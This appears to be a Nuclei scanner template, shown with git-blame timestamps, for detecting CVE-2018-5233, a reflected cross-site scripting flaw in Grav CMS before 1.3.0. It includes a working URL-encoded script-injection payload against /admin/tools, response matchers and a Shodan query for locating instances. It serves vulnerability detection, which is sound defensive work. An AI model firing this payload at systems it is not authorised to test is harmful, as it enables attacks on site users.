2021-07-27 09:03:59 +00:00
id : CVE-2018-5233
info :
2022-08-12 00:45:50 +00:00
name : Grav CMS <1.3.0 - Cross-Site Scripting
2021-07-27 09:03:59 +00:00
author : pikpikcu
severity : medium
description : |
2022-08-12 00:45:50 +00:00
Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
2023-09-06 12:57:14 +00:00
remediation : |
Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
2022-08-12 00:45:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-5233
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00295
2024-01-14 13:49:27 +00:00
epss-percentile : 0.66027
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : getgrav
product : grav_cms
2023-09-06 12:57:14 +00:00
shodan-query : html:"Grav CMS"
2023-12-05 09:50:33 +00:00
tags : cve,cve2018,xss,grav,getgrav
2021-07-27 09:03:59 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-27 09:03:59 +00:00
- method : GET
path :
2021-08-02 16:55:21 +00:00
- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-07-27 09:03:59 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-07-27 09:03:59 +00:00
words :
2021-08-02 16:55:21 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-27 09:03:59 +00:00
2023-07-24 18:47:36 +00:00
- type : word
part : body
words :
- '/themes/grav'
- 'Grav Admin Login'
- 'data-grav-'
condition : or
2021-07-27 09:03:59 +00:00
- type : word
part : header
words :
- text/html
2023-07-11 19:49:27 +00:00
- type : status
status :
2023-08-31 11:46:18 +00:00
- 200
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100e57809e356c865a382b2ce1c75c03e5471e2af6b92cbb64671efa66a65efa9cd022100d3e858f1091eb32a0db5ff92ac2883c6f876d1e8a29d2106e34f19ffaffcfbe8:922c64590222798bb761d5b6d8e72950